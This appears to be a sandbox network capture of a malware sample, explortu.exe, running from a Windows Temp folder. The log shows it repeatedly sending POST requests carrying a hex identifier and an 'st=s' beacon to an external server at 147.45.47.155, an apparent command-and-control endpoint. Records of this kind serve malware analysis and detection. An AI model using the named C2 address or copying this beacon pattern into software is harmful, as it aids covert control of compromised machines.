Jun 26, 2024 08:17:07.306778908 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:07.306821108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:07.544509888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49808	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:07.665522099 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49809	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:07.682681084 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	49810	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:07.804079056 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:08.480272055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:08.481172085 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:08.690468073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49811	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:08.805474997 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49812	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:08.816266060 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49813	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:08.929883003 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49814	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:08.941165924 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49815	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:09.163719893 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:09.876274109 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:09.877439022 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:10.090346098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49816	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:10.210944891 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:10.883671045 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:10.884541988 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:11.091257095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49817	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:11.211285114 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49818	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:11.222491026 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49819	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:11.351573944 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:12.027945042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:12.028892040 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:12.235692978 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49820	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:12.351389885 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49821	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:12.369190931 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:13.050786972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49822	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:13.163686991 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:13.830601931 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:13.831691980 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:14.038244963 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49823	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:14.148509026 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49824	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:14.165947914 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49825	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:14.297295094 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:14.968236923 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:14.969214916 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:15.177433968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49826	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 26, 2024 08:17:15.288810968 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 26, 2024 08:17:16.000771999 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 26, 2024 08:17:16.001740932 CEST	312	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jun 26, 2024 08:17:16.213293076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 26 Jun 2024 06:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49827	147.45.47.155	80	736	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
